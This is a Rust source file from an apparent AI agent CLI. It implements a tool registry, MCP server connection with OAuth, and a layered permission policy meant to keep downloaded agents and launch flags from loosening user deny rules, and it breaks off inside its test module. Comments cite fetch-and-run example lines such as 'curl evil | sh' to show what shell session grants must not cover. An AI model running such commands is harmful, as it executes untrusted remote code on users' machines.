Skip to main content

leviath_cli/
tools.rs

1//! Unified tool registry combining built-in tools and MCP-discovered tools.
2
3use std::collections::{HashMap, HashSet};
4use std::path::PathBuf;
5use std::sync::Arc;
6use tokio::sync::Mutex;
7
8use leviath_mcp::{ToolDiscovery, ToolExecutor};
9use leviath_providers::Tool;
10use leviath_tools::{BuiltinTools, ToolContext};
11
12use crate::config::{Config, ToolPolicy};
13
14/// Combined tool registry: native built-in tools + MCP-discovered tools.
15///
16/// Cheap to clone (all fields are `Arc`s). The `call` method dispatches
17/// to the appropriate executor.
18pub struct ToolRegistry {
19    pub builtins: Arc<BuiltinTools>,
20    pub mcp: Arc<Mutex<ToolExecutor>>,
21    pub mcp_tool_defs: Vec<Tool>,
22    pub builtin_names: HashSet<String>,
23}
24
25impl ToolRegistry {
26    /// Build a registry, connecting MCP servers declared in config (non-fatal).
27    pub async fn build(workdir: PathBuf, config: &Config) -> Self {
28        let ctx = ToolContext::new(workdir);
29        let builtins = Arc::new(BuiltinTools::new(ctx));
30        let builtin_names: HashSet<String> = builtins.names().into_iter().collect();
31
32        let mut mcp_executor = ToolExecutor::new();
33        let mut mcp_tool_defs: Vec<Tool> = Vec::new();
34
35        if !config.mcp_servers.is_empty() {
36            let mut discovery = ToolDiscovery::new();
37            let oauth = leviath_mcp::OAuthClient::new();
38            let store_path = leviath_mcp::AuthStore::default_path();
39            let now = unix_now_secs();
40            // Resolved once for the whole loop. An unreachable keychain is a
41            // warning rather than a hard failure: MCP servers that need no
42            // OAuth still work, and refusing to build any tools at all over a
43            // locked keychain would be a worse outcome than losing the ones
44            // that need it.
45            let credentials = credential_store_or_warn(crate::credentials::store_for(
46                config.security.credential_store,
47            ));
48            for server_cfg in &config.mcp_servers {
49                // For an HTTP server, resolve a stored OAuth token (refreshing
50                // it non-interactively if it has lapsed) and inject it as the
51                // bearer. `None` covers stdio servers, unauthenticated HTTP
52                // servers, and ones using a static `headers` token.
53                let auth_header = match resolve_bearer(
54                    &oauth,
55                    &server_cfg.name,
56                    store_path.as_deref(),
57                    now,
58                    credentials.as_deref(),
59                )
60                .await
61                {
62                    Ok(header) => header,
63                    Err(e) => {
64                        tracing::warn!(server = %server_cfg.name, error = %e, "MCP auth unavailable - skipping");
65                        continue;
66                    }
67                };
68                // A resolved bearer means this HTTP server is OAuth-backed (a
69                // static-header or stdio server resolves to `None`).
70                let auth_was_resolved = auth_header.is_some();
71                match discovery
72                    .discover_from_config_with_auth(
73                        server_cfg,
74                        auth_header,
75                        &config.security.allow_env_vars,
76                    )
77                    .await
78                {
79                    Ok((_tool_metas, mut client)) => {
80                        // If this is an OAuth-backed HTTP server, attach a
81                        // refresher so a run that outlives its access token
82                        // re-auths on a 401 instead of failing every later call.
83                        if auth_was_resolved && let Some(path) = store_path.clone() {
84                            client.set_refresher(std::sync::Arc::new(
85                                leviath_mcp::StoredTokenRefresher::new(
86                                    server_cfg.name.clone(),
87                                    path,
88                                ),
89                            ));
90                        }
91                        // Advertise under provider-safe, collision-free names,
92                        // reserving the built-in names and every MCP name already
93                        // advertised so nothing the LLM sees is duplicated or
94                        // uses a character the provider rejects.
95                        let mut reserved: HashSet<String> = builtin_names.clone();
96                        reserved.extend(mcp_tool_defs.iter().map(|t| t.name.clone()));
97                        let advertised = mcp_executor.add_client_advertised(
98                            server_cfg.name.clone(),
99                            client,
100                            &reserved,
101                        );
102                        for meta in advertised {
103                            mcp_tool_defs.push(Tool {
104                                name: meta.name,
105                                description: meta.description,
106                                parameters: meta.schema,
107                            });
108                        }
109                        tracing::info!(server = %server_cfg.name, "Connected MCP server");
110                    }
111                    Err(e) => {
112                        let span = tracing::warn_span!(
113                            "mcp_server_connect_failed",
114                            server = tracing::field::Empty,
115                            error = tracing::field::Empty
116                        );
117                        let _enter = span.enter();
118                        span.record("server", tracing::field::display(&server_cfg.name));
119                        span.record("error", tracing::field::display(&e));
120                        tracing::warn!("Failed to connect MCP server - skipping");
121                    }
122                }
123            }
124        }
125
126        Self {
127            builtins,
128            mcp: Arc::new(Mutex::new(mcp_executor)),
129            mcp_tool_defs,
130            builtin_names,
131        }
132    }
133
134    /// All tool definitions to advertise to the LLM (built-ins + MCP + sub-agent).
135    pub fn all_tool_defs(&self) -> Vec<Tool> {
136        let mut tools = self.builtins.tool_defs();
137        tools.extend(BuiltinTools::subagent_tool_defs());
138        tools.extend_from_slice(&self.mcp_tool_defs);
139        tools
140    }
141
142    /// Shut down all MCP connections.
143    pub async fn shutdown(&self) {
144        let mut mcp = self.mcp.lock().await;
145        // `shutdown_all` always returns `Ok(())` in the current `leviath_mcp`
146        // implementation (errors inside each client are silently discarded).
147        // We discard the result here rather than branch on a gap that can
148        // never be exercised without modifying `leviath-mcp` itself.
149        let _ = mcp.shutdown_all().await;
150    }
151}
152
153/// Current Unix time in seconds, for token-expiry checks. `0` if the clock is
154/// somehow before the epoch - which reads every token as expired and forces a
155/// refresh attempt, the safe direction.
156pub(crate) fn unix_now_secs() -> u64 {
157    std::time::SystemTime::now()
158        .duration_since(std::time::UNIX_EPOCH)
159        .map(|d| d.as_secs())
160        .unwrap_or(0)
161}
162
163/// Resolve the `Authorization` header for one server, or `None` when there is
164/// no store (no home directory) or no stored auth for it.
165///
166/// Split out of [`ToolRegistry::build`] so the store-present / store-absent and
167/// refresh-failure paths are unit-testable without the real home directory.
168/// The configured credential backend, or `None` with a warning if it cannot be
169/// reached.
170///
171/// Used on the *read* paths, where a locked keychain should cost the servers
172/// that need OAuth rather than every tool the agent has. The write paths do not
173/// use this: there, a store that cannot be written is a hard error, because
174/// falling back would put refresh tokens on disk.
175pub(crate) fn credential_store_or_warn(
176    resolved: crate::credentials::Resolved,
177) -> Option<Box<dyn leviath_core::CredentialStore>> {
178    match resolved {
179        Ok(store) => store,
180        Err(e) => {
181            tracing::warn!("{e}. MCP servers needing OAuth will appear logged out.");
182            None
183        }
184    }
185}
186
187pub(crate) async fn resolve_bearer(
188    oauth: &leviath_mcp::OAuthClient,
189    server_name: &str,
190    store_path: Option<&std::path::Path>,
191    now: u64,
192    credentials: Option<&dyn leviath_core::CredentialStore>,
193) -> anyhow::Result<Option<(String, String)>> {
194    match store_path {
195        Some(path) => {
196            oauth
197                .authorization_header_with(server_name, path, now, credentials)
198                .await
199        }
200        None => Ok(None),
201    }
202}
203
204/// Default policy for a tool: read-only builtins are allowed, mutating ones ask,
205/// human-in-the-loop tools are always allowed, and anything else requires
206/// approval.
207pub fn default_tool_policy(tool_name: &str, is_builtin: bool) -> ToolPolicy {
208    match tool_name {
209        "read_file" | "list_dir" => ToolPolicy::Allow,
210        "write_file" | "edit_file" | "bash" => ToolPolicy::Ask,
211        // The sub-agent tools default to `Allow`, and the point of routing them
212        // through this function at all is the *config*, not the prompt.
213        //
214        // If they skipped policy resolution entirely, a user's
215        // `[tool_permissions] spawn_agent = "deny"` would be silently ignored -
216        // the "a configured deny is terminal" guarantee would not cover these
217        // five names. That is the hole worth closing, and it is closed by being
218        // here.
219        //
220        // Defaulting them to `Ask` instead would change what working agents do:
221        // every fan-out would stop on a prompt, and an unattended run would
222        // block on an approval nothing is there to give. `spawn_agent` can only
223        // name an agent the user installed, the tree is depth-capped, and
224        // children inherit `--no-seed-commands`, so the `Allow` default keeps
225        // working agents working while making the user's own setting count. Set
226        // `spawn_agent = "ask"` to be prompted.
227        "spawn_agent" | "check_agent" | "wait_for_agent" | "send_to_agent" | "kill_agent" => {
228            ToolPolicy::Allow
229        }
230        // These tools ARE the human-in-the-loop mechanism - gating them behind
231        // a separate tool-approval prompt would mean asking the user "may I
232        // ask you something?" before actually asking them.
233        "ask_user_text" | "ask_user_choice" | "ask_user_confirm" | "edit_document" => {
234            ToolPolicy::Allow
235        }
236        _ => {
237            // All other tools (built-in or MCP) default to Ask
238            let _ = is_builtin;
239            ToolPolicy::Ask
240        }
241    }
242}
243
244/// How restrictive a policy is, for clamping. `Allow` < `Ask` < `Deny`.
245fn restrictiveness(p: ToolPolicy) -> u8 {
246    match p {
247        ToolPolicy::Allow => 0,
248        ToolPolicy::Ask => 1,
249        ToolPolicy::Deny => 2,
250    }
251}
252
253/// The more restrictive of two policies.
254fn stricter(a: ToolPolicy, b: ToolPolicy) -> ToolPolicy {
255    if restrictiveness(b) > restrictiveness(a) {
256        b
257    } else {
258        a
259    }
260}
261
262/// Resolve the effective policy for a tool call.
263///
264/// Scope order is narrowest-first - stage, then agent, then the user's global
265/// config, then the built-in default - but *narrower does not mean stronger*.
266/// The stage and agent layers come out of `agent.leviath`, which for any agent
267/// installed with `lev add` is a file the user downloaded. So a blueprint may
268/// only ever **tighten** what the user configured, never loosen it: whatever the
269/// user explicitly wrote in `[tool_permissions]` is a ceiling on how permissive
270/// a manifest can be for that tool.
271///
272/// Only an *explicitly configured* global entry acts as a ceiling. A tool the
273/// user has said nothing about falls through to [`default_tool_policy`], and a
274/// blueprint is free to set it - otherwise no shipped agent could pre-approve
275/// its own tools (the researcher's `web_fetch = "allow"` would stop working) and
276/// the model would become a wall rather than a floor.
277///
278/// A user who wants to grant one specific agent more than their global setting
279/// says so in their own config, keyed by agent name - see
280/// [`crate::config::Config::permissions_for_agent`], which is folded into
281/// `global_permissions` at spawn.
282///
283/// `launch_overrides` (`--allow`/`--ask`/`--deny`/`--yolo`) come from the person
284/// at the terminal, so they may relax `Ask` to `Allow`. They may **not** override
285/// a `Deny`: a denied tool stays denied under `--yolo`, matching the guarantee
286/// other agent runtimes make about their deny rules. To lift a `Deny`, edit the
287/// config that set it.
288pub fn resolve_policy(
289    tool_name: &str,
290    is_builtin: bool,
291    launch_overrides: &HashMap<String, ToolPolicy>,
292    stage_permissions: &HashMap<String, String>,
293    agent_permissions: &HashMap<String, String>,
294    global_permissions: &HashMap<String, ToolPolicy>,
295) -> ToolPolicy {
296    let ceiling = global_permissions.get(tool_name).copied();
297
298    // Blueprint layers: stage over agent, each clamped by the user's ceiling.
299    let blueprint = stage_permissions
300        .get(tool_name)
301        .or_else(|| agent_permissions.get(tool_name))
302        .map(|s| parse_policy_str(s));
303
304    let configured = match (blueprint, ceiling) {
305        (Some(b), Some(c)) => stricter(b, c),
306        (Some(b), None) => b,
307        (None, Some(c)) => c,
308        (None, None) => default_tool_policy(tool_name, is_builtin),
309    };
310
311    // A `Deny` is terminal - no launch flag lifts it.
312    if configured == ToolPolicy::Deny {
313        return ToolPolicy::Deny;
314    }
315
316    launch_overrides
317        .get(tool_name)
318        .or_else(|| launch_overrides.get("*"))
319        .copied()
320        .unwrap_or(configured)
321}
322
323/// The keys a session-scoped approval ("allow for this session") is remembered
324/// under. Empty means this call must not be session-granted at all.
325///
326/// Keying session approval on the bare tool name would make approving one
327/// `shell` call approve *every* later `shell` call for the run. "Allow `ls` for
328/// this session" silently becomes "allow `curl evil | sh` for this session" -
329/// the user consents to one thing and grants another.
330///
331/// So a shell approval is keyed on what actually runs: for each command in the
332/// line, its leading words. `git diff HEAD~1` grants `git diff`,
333/// `cargo test --lib` grants `cargo test`, `ls -la` grants `ls`. A later call is
334/// covered only when **every** command in it is already granted, so a grant can
335/// never widen to a program the user has not seen run.
336///
337/// Chained commands are split rather than refused. The first version returned
338/// `None` for anything containing `&&`, `|`, `;`, `$(` or a redirect, on the
339/// grounds that the leading words of `foo && curl evil` do not characterize it.
340/// True - but a coding agent writes compound commands constantly, and in a real
341/// run *every* shell call it made was compound, so "allow for this session"
342/// never once applied and the user re-approved the same work over and over.
343/// Splitting keeps the security property (`curl` is its own key, and is not
344/// granted by approving `ls`) and gives back the feature.
345///
346/// Non-shell tools keep keying on the tool name: their arguments do not widen
347/// what the tool can reach the way a command string does.
348pub fn session_approval_keys(tool_name: &str, arguments: &serde_json::Value) -> Vec<String> {
349    if leviath_tools::canonical_tool_name(tool_name) != "shell" {
350        return vec![tool_name.to_string()];
351    }
352    let Some(command) = arguments.get("command").and_then(|v| v.as_str()) else {
353        return Vec::new();
354    };
355    let segments = command_segments(command);
356    // A line we cannot read as a list of commands is not session-grantable:
357    // "approve this once, and ask again next time" is the safe direction.
358    if segments.is_empty() {
359        return Vec::new();
360    }
361    let mut keys: Vec<String> = segments
362        .iter()
363        .filter_map(|seg| command_prefix(seg))
364        .map(|p| format!("shell:{p}"))
365        .collect();
366    keys.sort();
367    keys.dedup();
368    keys
369}
370
371/// Split a command line into the individual commands it runs.
372///
373/// Separators (`;`, `&&`, `||`, `|`, `&`, newline) end a command; a redirect
374/// (`>`, `<`) ends the part that names a program, and what follows is a
375/// filename rather than a command, so it is dropped. Command substitution
376/// (`$(...)`, backticks) runs a command whose text is *inside* the current one,
377/// so its contents are lifted out and treated as their own segments - otherwise
378/// `echo $(curl evil)` would grant only `echo`.
379///
380/// Returns empty when the line cannot be read this way, which is the signal to
381/// refuse a session grant entirely.
382fn command_segments(command: &str) -> Vec<String> {
383    // Quoting is not interpreted here, and that is deliberate: this decides
384    // what a *grant* covers, and a quoted `;` read as a separator can only ever
385    // split a segment into more keys, never merge two programs into one. More
386    // keys means a narrower grant.
387    let mut segments = Vec::new();
388    let mut current = String::new();
389    let mut rest = command;
390
391    // `str::get` rather than `&s[a..b]` throughout: the workspace denies raw
392    // string slicing (a non-boundary index panics), and here every `None` has
393    // the same honest answer - a line we cannot read is one we will not grant.
394    while let Some((before, after_open)) = rest.split_once("$(") {
395        current.push_str(before);
396        let Some((inner, after)) = split_at_matching_paren(after_open) else {
397            return Vec::new(); // unbalanced - not a line we can read
398        };
399        // The substituted command is its own segment (recursively).
400        segments.extend(command_segments(inner));
401        rest = after;
402    }
403    current.push_str(rest);
404    if current.contains('`') {
405        return Vec::new(); // backticks: same idea, but nesting is ambiguous
406    }
407
408    // A redirect ends the command; the filename after it is not a program.
409    let without_redirects: String = current
410        .split(['>', '<'])
411        .next()
412        .unwrap_or_default()
413        .to_string();
414    segments.extend(
415        without_redirects
416            .split(['\n', ';', '&', '|'])
417            .map(str::trim)
418            .filter(|s| !s.is_empty())
419            .map(str::to_string),
420    );
421    segments
422}
423
424/// Split at the `)` closing a `$(` whose contents start at `s`: the substituted
425/// command, and everything after the paren. `None` when it is unbalanced.
426///
427/// Returns the two halves rather than an index so the caller never does its own
428/// slicing - the workspace denies raw string indexing, and an `Option` per index
429/// would add branches that cannot be taken (a `char_indices` offset is always a
430/// boundary) and so could never be covered.
431fn split_at_matching_paren(s: &str) -> Option<(&str, &str)> {
432    let mut depth = 0usize;
433    for (i, c) in s.char_indices() {
434        match c {
435            '(' => depth += 1,
436            // `i` starts a one-byte `)`, so `i` and `i + 1` are both boundaries.
437            ')' if depth == 0 => return Some((s.split_at(i).0, s.split_at(i + 1).1)),
438            ')' => depth -= 1,
439            _ => {}
440        }
441    }
442    None
443}
444
445/// The leading words of a command that a session grant covers: the program, plus
446/// its first argument when that argument is a *subcommand* rather than a flag or
447/// data.
448///
449/// `git diff` rather than `git`, because `git` alone would cover `git push`.
450/// `ls` rather than `ls -la`, because a flag does not narrow what the program is.
451///
452/// Quoted or variable-bearing arguments are data, and folding them into the key
453/// makes the grant useless: `echo "exit code: $?"` and `echo "done"` would be
454/// two different grants for the same harmless program, and a run full of
455/// progress `echo`s would re-prompt on every one. A path-like or bare word stays
456/// in the key - `python3 test.py` should not grant `python3 evil.py`.
457fn command_prefix(command: &str) -> Option<String> {
458    let mut words = command.split_whitespace();
459    let program = words.next()?;
460    match words.next() {
461        Some(sub) if is_subcommand_like(sub) => Some(format!("{program} {sub}")),
462        _ => Some(program.to_string()),
463    }
464}
465
466/// Whether an argument narrows *what program runs* (so it belongs in the key)
467/// rather than being a flag or a piece of data handed to it.
468fn is_subcommand_like(arg: &str) -> bool {
469    !arg.starts_with('-') && !arg.starts_with('"') && !arg.starts_with('\'') && !arg.contains('$')
470}
471
472fn parse_policy_str(s: &str) -> ToolPolicy {
473    match s.to_lowercase().as_str() {
474        "allow" => ToolPolicy::Allow,
475        "deny" => ToolPolicy::Deny,
476        _ => ToolPolicy::Ask,
477    }
478}
479
480#[cfg(test)]
481mod mcp_registry_tests {
482    use super::*;
483    use crate::test_support::with_tracing;
484    use leviath_mcp::MCPServerConfig;
485
486    // A minimal MCP server speaking just enough JSON-RPC over stdio to
487    // satisfy `initialize` / `notifications/initialized` / `tools/list`,
488    // mirroring `leviath-mcp/src/discovery.rs`'s own `STUB_INIT_AND_LIST`
489    // test fixture - a real (but fast, local, no-network) subprocess round
490    // trip rather than a fake/mocked `ToolExecutor`.
491    const STUB_INIT_AND_LIST: &str = r#"
492import sys, json
493
494def respond(id, result):
495    msg = json.dumps({"jsonrpc": "2.0", "id": id, "result": result})
496    sys.stdout.write(msg + "\n")
497    sys.stdout.flush()
498
499for line in sys.stdin:
500    line = line.strip()
501    if not line:
502        continue
503    req = json.loads(line)
504    method = req.get("method", "")
505    id_ = req.get("id")
506    if method == "initialize":
507        respond(id_, {"capabilities": {"tools": {"listChanged": True}}, "protocolVersion": "2024-11-05"})
508    elif method == "notifications/initialized":
509        pass
510    elif method == "tools/list":
511        respond(id_, {"tools": [{"name": "echo", "description": "echo tool", "inputSchema": {}}]})
512    elif method == "tools/call":
513        args = req.get("params", {}).get("arguments", {})
514        if args.get("fail"):
515            respond(id_, {"content": [{"type": "text", "text": "it broke"}], "isError": True})
516        else:
517            respond(id_, {"content": [{"type": "text", "text": "echoed!"}], "isError": False})
518    else:
519        respond(id_, {"error": {"code": -32601, "message": "method not found"}})
520"#;
521
522    fn config_with_mcp_server(command: &str, args: Vec<&str>) -> Config {
523        Config {
524            mcp_servers: vec![MCPServerConfig::stdio(
525                "stub-server",
526                command,
527                args.into_iter().map(String::from).collect(),
528            )],
529            ..Config::default()
530        }
531    }
532
533    /// Run `body` with `LEVIATH_HOME` pointed at a fresh temp dir, so the MCP
534    /// auth store resolves to an empty, hermetic location rather than the real
535    /// `~/.leviath`.
536    async fn with_temp_home<F, Fut, T>(body: F) -> T
537    where
538        F: FnOnce() -> Fut,
539        Fut: std::future::Future<Output = T>,
540    {
541        let dir = tempfile::tempdir().unwrap();
542        temp_env::async_with_vars(
543            [("LEVIATH_HOME", Some(dir.path().to_str().unwrap()))],
544            body(),
545        )
546        .await
547    }
548
549    #[tokio::test]
550    async fn build_connects_mcp_server_and_registers_its_tools() {
551        with_tracing(|| {});
552        let registry = with_temp_home(|| async {
553            let config = config_with_mcp_server("python3", vec!["-c", STUB_INIT_AND_LIST]);
554            ToolRegistry::build(std::env::temp_dir(), &config).await
555        })
556        .await;
557
558        assert_eq!(registry.mcp_tool_defs.len(), 1);
559        assert_eq!(registry.mcp_tool_defs[0].name, "echo");
560
561        registry.shutdown().await;
562    }
563
564    #[tokio::test]
565    async fn build_advertises_two_servers_and_namespaces_a_collision() {
566        // Two stdio servers each exposing an `echo` tool. The second is
567        // advertised under a namespaced name so the LLM never sees a duplicate,
568        // and the reserved-name closure (which reads already-advertised names)
569        // runs on the second server.
570        with_tracing(|| {});
571        let registry = with_temp_home(|| async {
572            let config = Config {
573                mcp_servers: vec![
574                    MCPServerConfig::stdio(
575                        "alpha",
576                        "python3",
577                        vec!["-c".to_string(), STUB_INIT_AND_LIST.to_string()],
578                    ),
579                    MCPServerConfig::stdio(
580                        "beta",
581                        "python3",
582                        vec!["-c".to_string(), STUB_INIT_AND_LIST.to_string()],
583                    ),
584                ],
585                ..Config::default()
586            };
587            ToolRegistry::build(std::env::temp_dir(), &config).await
588        })
589        .await;
590
591        let names: Vec<&str> = registry
592            .mcp_tool_defs
593            .iter()
594            .map(|t| t.name.as_str())
595            .collect();
596        // First server keeps `echo`; the second is disambiguated.
597        assert!(names.contains(&"echo"), "names: {names:?}");
598        assert!(names.contains(&"beta__echo"), "names: {names:?}");
599        registry.shutdown().await;
600    }
601
602    /// A minimal streamable-HTTP MCP server that requires a bearer and lists one
603    /// tool. Returns its base URL.
604    async fn mock_http_mcp_server() -> String {
605        use axum::response::IntoResponse;
606        use axum::routing::post;
607        use axum::{Json, Router};
608        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
609        let base = format!("http://{}", listener.local_addr().unwrap());
610        let app = Router::new().route(
611            "/mcp",
612            // The token is validated by the daemon-side resolution, not here;
613            // this mock only needs to speak enough protocol to connect.
614            post(|body: String| async move {
615                let req: serde_json::Value = serde_json::from_str(&body).unwrap();
616                let id = req.get("id").cloned().unwrap_or(serde_json::json!(1));
617                let result = match req.get("method").and_then(|m| m.as_str()) {
618                    Some("initialize") => {
619                        serde_json::json!({"capabilities": {}, "protocolVersion": "2024-11-05"})
620                    }
621                    Some("tools/list") => {
622                        serde_json::json!({"tools": [{"name": "remote_tool", "inputSchema": {}}]})
623                    }
624                    _ => serde_json::json!({}),
625                };
626                (
627                    [(axum::http::header::CONTENT_TYPE, "application/json")],
628                    Json(serde_json::json!({"jsonrpc": "2.0", "id": id, "result": result}))
629                        .into_response()
630                        .into_body(),
631                )
632                    .into_response()
633            }),
634        );
635        tokio::spawn(std::future::IntoFuture::into_future(axum::serve(
636            listener, app,
637        )));
638        base
639    }
640
641    #[tokio::test]
642    async fn build_attaches_a_refresher_to_an_authenticated_http_server() {
643        // An HTTP server with a live stored token connects, its tool is
644        // advertised, and a refresher is attached (the auth-resolved arm).
645        with_tracing(|| {});
646        let base = mock_http_mcp_server().await;
647        let registry = with_temp_home(|| async {
648            // Seed a non-expired token at the store the daemon reads.
649            let mut store = leviath_mcp::AuthStore::default();
650            store.set(
651                "remote",
652                leviath_mcp::ServerAuth {
653                    access_token: "live-token".to_string(),
654                    expires_at: u64::MAX,
655                    ..Default::default()
656                },
657            );
658            store
659                .save(&leviath_mcp::AuthStore::default_path().unwrap())
660                .unwrap();
661
662            let config = Config {
663                mcp_servers: vec![MCPServerConfig::http("remote", format!("{base}/mcp"))],
664                ..Config::default()
665            };
666            ToolRegistry::build(std::env::temp_dir(), &config).await
667        })
668        .await;
669
670        assert_eq!(registry.mcp_tool_defs.len(), 1);
671        assert_eq!(registry.mcp_tool_defs[0].name, "remote_tool");
672        registry.shutdown().await;
673    }
674
675    #[tokio::test]
676    async fn build_skips_mcp_server_that_fails_to_connect() {
677        // A nonexistent command fails to spawn, exercising the `Err(e)` arm
678        // ("Failed to connect MCP server - skipping") instead of the
679        // success arm above.
680        with_tracing(|| {});
681        let registry = with_temp_home(|| async {
682            let config = config_with_mcp_server("definitely-not-a-real-binary-xyz", vec![]);
683            ToolRegistry::build(std::env::temp_dir(), &config).await
684        })
685        .await;
686
687        assert!(registry.mcp_tool_defs.is_empty());
688    }
689
690    #[tokio::test]
691    async fn build_skips_http_server_whose_token_cannot_be_refreshed() {
692        // An HTTP server with a stored-but-expired token whose refresh endpoint
693        // is dead: `resolve_bearer` errors, so build logs and skips it rather
694        // than connecting unauthenticated. Exercises the auth `Err(e) => continue`
695        // arm.
696        with_tracing(|| {});
697        let registry = with_temp_home(|| async {
698            // Seed an expired token with an unreachable refresh endpoint.
699            let mut store = leviath_mcp::AuthStore::default();
700            store.set(
701                "remote",
702                leviath_mcp::ServerAuth {
703                    token_endpoint: "http://127.0.0.1:1/token".to_string(),
704                    access_token: "expired".to_string(),
705                    refresh_token: Some("good".to_string()),
706                    expires_at: 1,
707                    ..Default::default()
708                },
709            );
710            store
711                .save(&leviath_mcp::AuthStore::default_path().unwrap())
712                .unwrap();
713
714            let config = Config {
715                mcp_servers: vec![MCPServerConfig::http("remote", "http://127.0.0.1:1/mcp")],
716                ..Config::default()
717            };
718            ToolRegistry::build(std::env::temp_dir(), &config).await
719        })
720        .await;
721        assert!(registry.mcp_tool_defs.is_empty());
722    }
723
724    /// A locked keychain costs the MCP servers that need OAuth, not every tool
725    /// the agent has - so the read path warns and carries on.
726    #[test]
727    fn an_unreachable_credential_store_warns_rather_than_failing_tool_setup() {
728        assert!(
729            credential_store_or_warn(Err("no keychain here".to_string())).is_none(),
730            "an unreachable store yields no credentials"
731        );
732        assert!(
733            credential_store_or_warn(Ok(None)).is_none(),
734            "and so does the file backend"
735        );
736        assert!(
737            credential_store_or_warn(Ok(Some(Box::new(leviath_core::MemoryStore::new()))))
738                .is_some()
739        );
740    }
741
742    #[tokio::test]
743    async fn resolve_bearer_without_a_store_is_none() {
744        let oauth = leviath_mcp::OAuthClient::new();
745        let header = resolve_bearer(&oauth, "srv", None, 0, None).await.unwrap();
746        assert!(header.is_none());
747    }
748
749    #[tokio::test]
750    async fn shutdown_with_no_servers_is_a_noop() {
751        let config = Config::default();
752        let registry = ToolRegistry::build(std::env::temp_dir(), &config).await;
753        registry.shutdown().await; // must not panic
754    }
755}
756
757#[cfg(test)]
758mod policy_tests {
759    use super::*;
760
761    #[test]
762    fn test_default_policy_read_file() {
763        assert_eq!(default_tool_policy("read_file", true), ToolPolicy::Allow);
764        assert_eq!(default_tool_policy("list_dir", true), ToolPolicy::Allow);
765    }
766
767    #[test]
768    fn test_default_policy_write_tools() {
769        assert_eq!(default_tool_policy("write_file", true), ToolPolicy::Ask);
770        assert_eq!(default_tool_policy("edit_file", true), ToolPolicy::Ask);
771        assert_eq!(default_tool_policy("bash", true), ToolPolicy::Ask);
772    }
773
774    #[test]
775    fn test_default_policy_ask_user_tools_allow_by_default() {
776        // These tools ARE the human-in-the-loop mechanism - they must not
777        // require a separate approval prompt before asking the user.
778        assert_eq!(
779            default_tool_policy("ask_user_text", true),
780            ToolPolicy::Allow
781        );
782        assert_eq!(
783            default_tool_policy("ask_user_choice", true),
784            ToolPolicy::Allow
785        );
786        assert_eq!(
787            default_tool_policy("ask_user_confirm", true),
788            ToolPolicy::Allow
789        );
790        assert_eq!(
791            default_tool_policy("edit_document", true),
792            ToolPolicy::Allow
793        );
794    }
795
796    #[test]
797    fn test_resolve_policy_launch_override_wins() {
798        let mut launch = HashMap::new();
799        launch.insert("bash".to_string(), ToolPolicy::Allow);
800        let policy = resolve_policy(
801            "bash",
802            true,
803            &launch,
804            &HashMap::new(),
805            &HashMap::new(),
806            &HashMap::new(),
807        );
808        assert_eq!(policy, ToolPolicy::Allow);
809    }
810
811    #[test]
812    fn test_resolve_policy_yolo_wins() {
813        let mut launch = HashMap::new();
814        launch.insert("*".to_string(), ToolPolicy::Allow);
815        let policy = resolve_policy(
816            "bash",
817            true,
818            &launch,
819            &HashMap::new(),
820            &HashMap::new(),
821            &HashMap::new(),
822        );
823        assert_eq!(policy, ToolPolicy::Allow);
824    }
825
826    /// A stage may tighten the user's setting.
827    #[test]
828    fn test_resolve_policy_stage_may_tighten_global() {
829        let mut stage = HashMap::new();
830        stage.insert("bash".to_string(), "deny".to_string());
831        let mut global = HashMap::new();
832        global.insert("bash".to_string(), ToolPolicy::Allow);
833        let policy = resolve_policy(
834            "bash",
835            true,
836            &HashMap::new(),
837            &stage,
838            &HashMap::new(),
839            &global,
840        );
841        assert_eq!(policy, ToolPolicy::Deny);
842    }
843
844    /// ...but it may NOT loosen it. `agent.leviath` is a file the user
845    /// downloaded; letting its `[stages.x.tool_permissions]` overrule the user's
846    /// own `[tool_permissions]` would let an installed agent self-grant the
847    /// shell the user had explicitly denied. (A test asserting the opposite -
848    /// that stage "beats" global - codifies the bug, not the design.)
849    #[test]
850    fn test_resolve_policy_stage_cannot_loosen_global() {
851        let mut stage = HashMap::new();
852        stage.insert("bash".to_string(), "allow".to_string());
853        let mut global = HashMap::new();
854        global.insert("bash".to_string(), ToolPolicy::Deny);
855        let policy = resolve_policy(
856            "bash",
857            true,
858            &HashMap::new(),
859            &stage,
860            &HashMap::new(),
861            &global,
862        );
863        assert_eq!(policy, ToolPolicy::Deny);
864    }
865
866    /// The ceiling is only what the user *explicitly* configured. A tool they
867    /// have said nothing about is still the blueprint's to set - otherwise the
868    /// shipped researcher agent could not pre-approve its own `web_fetch`.
869    #[test]
870    fn test_resolve_policy_blueprint_free_when_user_silent() {
871        let mut agent = HashMap::new();
872        agent.insert("web_fetch".to_string(), "allow".to_string());
873        let policy = resolve_policy(
874            "web_fetch",
875            false,
876            &HashMap::new(),
877            &HashMap::new(),
878            &agent,
879            &HashMap::new(),
880        );
881        assert_eq!(policy, ToolPolicy::Allow);
882    }
883
884    /// `--yolo` must not lift a `Deny` the user configured. Skipping *prompts*
885    /// is what `--yolo` is for; skipping a deny rule is not. An earlier test
886    /// asserted the reverse ("--yolo overrides the config deny"), which made a
887    /// denied tool reachable from any unattended run.
888    #[test]
889    fn test_yolo_does_not_override_configured_deny() {
890        let mut launch = HashMap::new();
891        launch.insert("*".to_string(), ToolPolicy::Allow);
892        let mut global = HashMap::new();
893        global.insert("bash".to_string(), ToolPolicy::Deny);
894        let policy = resolve_policy(
895            "bash",
896            true,
897            &launch,
898            &HashMap::new(),
899            &HashMap::new(),
900            &global,
901        );
902        assert_eq!(policy, ToolPolicy::Deny);
903    }
904
905    /// The same holds for a named `--allow`, not just the `--yolo` wildcard.
906    #[test]
907    fn test_named_allow_does_not_override_configured_deny() {
908        let mut launch = HashMap::new();
909        launch.insert("bash".to_string(), ToolPolicy::Allow);
910        let mut global = HashMap::new();
911        global.insert("bash".to_string(), ToolPolicy::Deny);
912        let policy = resolve_policy(
913            "bash",
914            true,
915            &launch,
916            &HashMap::new(),
917            &HashMap::new(),
918            &global,
919        );
920        assert_eq!(policy, ToolPolicy::Deny);
921    }
922
923    /// A blueprint's own `deny` is terminal too - an agent that declares it
924    /// never needs a tool doesn't get handed it by an unattended `--yolo`.
925    #[test]
926    fn test_yolo_does_not_override_blueprint_deny() {
927        let mut launch = HashMap::new();
928        launch.insert("*".to_string(), ToolPolicy::Allow);
929        let mut agent = HashMap::new();
930        agent.insert("bash".to_string(), "deny".to_string());
931        let policy = resolve_policy(
932            "bash",
933            true,
934            &launch,
935            &HashMap::new(),
936            &agent,
937            &HashMap::new(),
938        );
939        assert_eq!(policy, ToolPolicy::Deny);
